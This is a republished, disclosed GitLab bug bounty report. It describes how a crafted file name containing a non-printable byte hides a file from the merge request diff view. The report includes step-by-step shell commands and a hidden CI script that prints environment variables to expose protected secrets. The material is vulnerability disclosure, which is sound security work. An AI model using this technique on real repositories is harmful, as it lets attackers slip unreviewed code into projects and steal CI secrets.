Skip to content
Business logic Disclosed report Intermediate

Web interface doesn't ensure file integrity during merge request review, allowing attackers to include arbitrary files in the base repository.

A specially crafted merge request can hide a malicious file from the web interface's diff view, so a reviewer sees only harmless changes. If the reviewer merges via the web interface, the hidden file is included in the base repository and can execute arbitrary commands in CI/CD, potentially stealing secrets.

GitLab

Originally disclosed on GitLab

  • Fixed in 5 months
  • Disclosed after 5 months

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2450012 by st4nly0n on 2024-04-05, assigned to GitLab Team:

Report | Attachments | How To Reproduce

Report

 

Description:

A vulnerability has been identified in GitLab that allows an attacker to introduce arbitrary files into the main branch of a repository by exploiting specially crafted merge requests. This vulnerability lies in the ability to conceal files during merge request review in GitLab's web interface, enabling the introduction of undesired changes into the repository if the owner decides to merge the changes through the web interface.

When a repository owner intends to merge changes from a merge request, the web interface provides information about the changes made to the files. However, a specially crafted merge request can hide files that will not be visible in GitLab's web interface at /-/merge_requests/<id>. This allows an attacker to introduce malicious changes into the repository, which could include executing arbitrary commands if the owner decides to merge through the web interface. Consequently, the web interface does not ensure the integrity of information during merge request review.

Proposed Attack Scenario:
There are various scenarios in which an attacker could exploit this issue; however, a plausible attack scenario involves the victim inviting a developer to a group on GitLab. Within this group, there is a repository that runs a CI/CD job on the main branch. The attacker leverages this situation to create a specially crafted merge request that hides information in the /-/merge_requests/<id> section. When the victim merges the changes, they could inadvertently introduce the code provided by the attacker, which could steal variables from the group or other sensitive data. Additionally, through this vulnerability, an attacker could also use the technique to fork a repository and introduce malicious changes into the base repository.
 

Steps To Reproduce:

Reproduction Steps (Victim User)

1. Create a public group.

2. Invite a member to the group with the developer role.

3. Create a protected group variable named SECRET with the value SECRET_VARIABLE_VALUE.

4. Create an empty public repository within the group.

5. Clone the repository and navigate into it:

Bash
git clone <URL>  
cd <REPO>  

6. Create a directory named scripts:

Bash
mkdir scripts  

7. Create a file named one.sh:

Bash
echo "echo 'One'" > scripts/one.sh  

8. Create a file named two.sh:

Bash
echo "echo 'Two'" > scripts/two.sh  

9. Create a .gitlab-ci.yml file with the following content:

Bash
echo -e "stages:\n  - build\n\nPoC_Job:\n  stage: build\n  script:\n    - cat scripts*/* | sh" > .gitlab-ci.yml  

10. Stage and push the changes to the remote:

Bash
git add . && \  
git commit -m 'Init' && \  
git push origin HEAD -f  

The proof of concept repository simply executes all files in the scripts directory through a CI/CD pipeline.
 

Reproduction Steps (Attacker User invited in step 2)

It's important to note that the following steps were executed in a Linux environment using the (LC_CTYPE) character set to POSIX. The output of the locale command on the attacker's machine is as follows:

Bash
$ locale  
LANG=  
LANGUAGE=  
LC_CTYPE="POSIX"  
LC_NUMERIC="POSIX"  
LC_TIME="POSIX"  
LC_COLLATE="POSIX"  
LC_MONETARY="POSIX"  
LC_MESSAGES="POSIX"  
LC_PAPER="POSIX"  
LC_NAME="POSIX"  
LC_ADDRESS="POSIX"  
LC_TELEPHONE="POSIX"  
LC_MEASUREMENT="POSIX"  
LC_IDENTIFICATION="POSIX"  
LC_ALL=  

This step is crucial, as for it to work properly, the attacker must include a file with a specially designed name using a non-printable character. With this configuration, the file will not be created using the symbol �, which is essential for this step to succeed, a Docker container with the ubuntu:latest image has this configuration by default.

11. Clone the repository and navigate into it:

Bash
git clone <URL>  
cd <REPO>  

12. Create and switch to a branch named new_script:

Bash
git checkout -b 'new_script'  

13. Create a new harmless file in the scripts directory named three.sh:

Bash
echo "echo 'Three'" > scripts/three.sh  

14. Create a new "malicious" file in the scripts directory named \x90three.sh:

Bash
echo '[ "$CI_COMMIT_REF_NAME" = "main" ] && env || echo -n ""' > $'scripts/\x90three.sh'  

15. Stage and push the changes to the remote, also creating the merge request:

Bash
git add . && \  
git commit -m 'add new script' && \  
git push origin HEAD -f -o merge_request.create  

 

Reproduction Steps (Victim User)

16. Through the web interface, navigate to the merge request /-/merge_requests/1.

17. Go to the Commits tab and note there is a single commit containing the harmless change to the three.sh file.

18. In the Pipelines tab, verify the job output, which executes the content of the harmless three.sh file.

19. In the Changes tab, note there is a single commit containing the harmless change to the three.sh file.

20. Press the Merge button in the web interface to merge the changes with the seemingly harmless merge request.

21. Review the logs of the job created on the main branch and note that the env command has been executed, indicating that the attacker now has access to the secret variables.
 

PoC Video
The following test video illustrates the attack scenario from the victim's perspective. Observe how the victim reviews a merge request through the web interface, perceiving the request as seemingly harmless and not detecting the hidden malicious file. Consequently, they decide to merge the changes, unaware that the attacker has managed to include a file in the base repository that extracts sensitive information from it.

poc.mp4 From the original on GitLab

 

What is the current bug behavior?

An attacker can hide files in GitLab merge requests, which could lead to the execution of arbitrary commands or data theft if the repository owner merges the changes.
 

What is the expected correct behavior?

GitLab's web interface should transparently and fully display all modified files in a merge request. This would ensure that the repository owner can review all changes before merging them, thus preventing the introduction of malicious changes by an attacker.
 

Output of checks

This bug occurs on GitLab.com
 

Impact

This vulnerability poses a significant risk to the integrity and security of repositories hosted on GitLab. An attacker could use this technique to introduce malicious changes into repositories, which could lead to the execution of arbitrary commands, theft of sensitive data, or compromise of the CI/CD environment.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the web interface fails to properly handle filenames containing non-printable characters, causing the file to be omitted from the diff display.

Impact

An attacker could introduce hidden files into the base repository, leading to arbitrary command execution in CI/CD and theft of sensitive data such as group variables.

What the attacker needed

Attacker has developer role in group; victim reviews and merges via web interface; attacker uses POSIX locale

The fix

The web interface should transparently and fully display all modified files in a merge request.

How it was found

  1. Victim creates a public group, invites a developer, adds a protected variable, and creates an empty repository with a CI job that runs all scripts in a directory.
  2. Attacker clones the repository and creates a new branch.
  3. Attacker adds a harmless file and a malicious file with a non-printable character in its name.
  4. Attacker pushes the branch and creates a merge request.
  5. Victim reviews the merge request in the web interface and sees only the harmless file.
  6. Victim merges the merge request, and the CI job on the main branch executes the hidden malicious file, exposing the secret variable.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you review a merge request (a request to add code changes to a project), the website shows you a list of changed files. This report found that an attacker can make a file invisible in that list, so you might approve and merge the request without seeing it. If that hidden file runs during automated testing, it could steal passwords or other secrets.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.